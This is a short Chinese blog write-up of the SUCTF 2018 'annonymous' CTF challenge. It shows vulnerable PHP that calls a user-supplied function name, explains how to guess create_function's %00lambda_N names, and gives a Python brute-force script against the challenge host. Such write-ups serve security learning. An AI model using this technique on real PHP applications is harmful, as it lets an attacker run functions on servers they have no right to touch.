[SUCTF 2018]annonymous 1

crear_function

这个看到源码之后一脸懵

 <?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__); 

可以看到代码,我们想办法让他die掉就可以了,应该是这样的
看了其他师傅的wp发现这里是有个东西的
create_function()函数在创建之后会生成一个函数名为:%00lambda_%d%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了
写个脚本一直去刷新访问即可:

import requests

for i in range(1,1000):
    r=requests.get(url='http://fe702340-4c4b-4339-8e50-3b6d3db656f9.node5.buuoj.cn:81/?func_name=%00lambda_{}'.format(i))
    print(r.status_code)
    if 'flag' in r.text:
        print(r.text)
        break

posted @ 2024-07-25 16:43  z3ghxxx  阅读(64)  评论(0)    收藏  举报